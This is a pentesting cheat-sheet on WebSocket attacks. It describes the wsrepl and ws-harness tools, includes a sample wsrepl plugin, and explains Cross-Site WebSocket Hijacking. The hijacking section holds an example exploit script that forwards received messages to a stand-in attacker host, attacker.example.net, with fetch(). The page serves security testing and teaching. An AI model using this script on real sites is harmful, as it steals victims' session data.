Web Sockets
The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
Summary
- Tools
- Exploit
- Using wsrepl
- Using ws-harness.py
- Cross-Site WebSocket Hijacking (CSWSH)
- Labs
- References
Tools
- doyensec/wsrepl - WebSocket REPL for pentesters
- mfowl/ws-harness.py
Exploit
Using wsrepl
wsrepl
, a tool developed by Doyensec, aims to simplify the auditing of websocket-based apps. It offers an interactive REPL interface that is user-friendly and easy to automate. The tool was developed during an engagement with a client whose web application heavily relied on WebSockets for soft real-time communication.
wsrepl is designed to provide a balance between an interactive REPL experience and automation. It is built with Python’s TUI framework Textual, and it interoperates with curl’s arguments, making it easy to transition from the Upgrade request in Burp to wsrepl. It also provides full transparency of WebSocket opcodes as per RFC 6455 and has an automatic reconnection feature in case of disconnects.
Moreover, wsrepl simplifies the process of transitioning into WebSocket automation. Users just need to write a Python plugin. The plugin system is designed to be flexible, allowing users to define hooks that are executed at various stages of the WebSocket lifecycle (init, on_message_sent, on_message_received, ...).
from wsrepl import Plugin
from wsrepl.WSMessage import WSMessage
import json
import requests
class Demo(Plugin):
def init(self):
token = requests.get("https://example.com/uuid").json()["uuid"]
self.messages = [
json.dumps({
"auth": "session",
"sessionId": token
})
]
async def on_message_sent(self, message: WSMessage) -> None:
original = message.msg
message.msg = json.dumps({
"type": "message",
"data": {
"text": original
}
})
message.short = original
message.long = message.msg
async def on_message_received(self, message: WSMessage) -> None:
original = message.msg
try:
message.short = json.loads(original)["data"]["text"]
except:
message.short = "Error: could not parse message"
message.long = original
Using ws-harness.py
Start ws-harness
to listen on a web-socket, and specify a message template to send to the endpoint.
The content of the message should contains the [FUZZ] keyword.
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket handshake is not correctly protected using a CSRF token or a nonce, it's possible to use the authenticated WebSocket of a user on an attacker's controlled site because the cookies are automatically sent by the browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received data from the WebSocket to the attacker:
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
ws.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Some text sent to the server");
</script>
You have to adjust the code to your exact situation. E.g. if your web
application uses a Sec-WebSocket-Protocol
header in the handshake request,
you have to add this value as a 2nd parameter to the WebSocket
function call
in order to add this header.
Labs
References
- HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019
- Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian
- Mini WebSocket CTF - January 27, 2020 - Snowscan
- Hacktricks - CSWSH
- Streamlining Websocket Pentesting with wsrepl - Andrez Konstantinov - 18 Jul 2023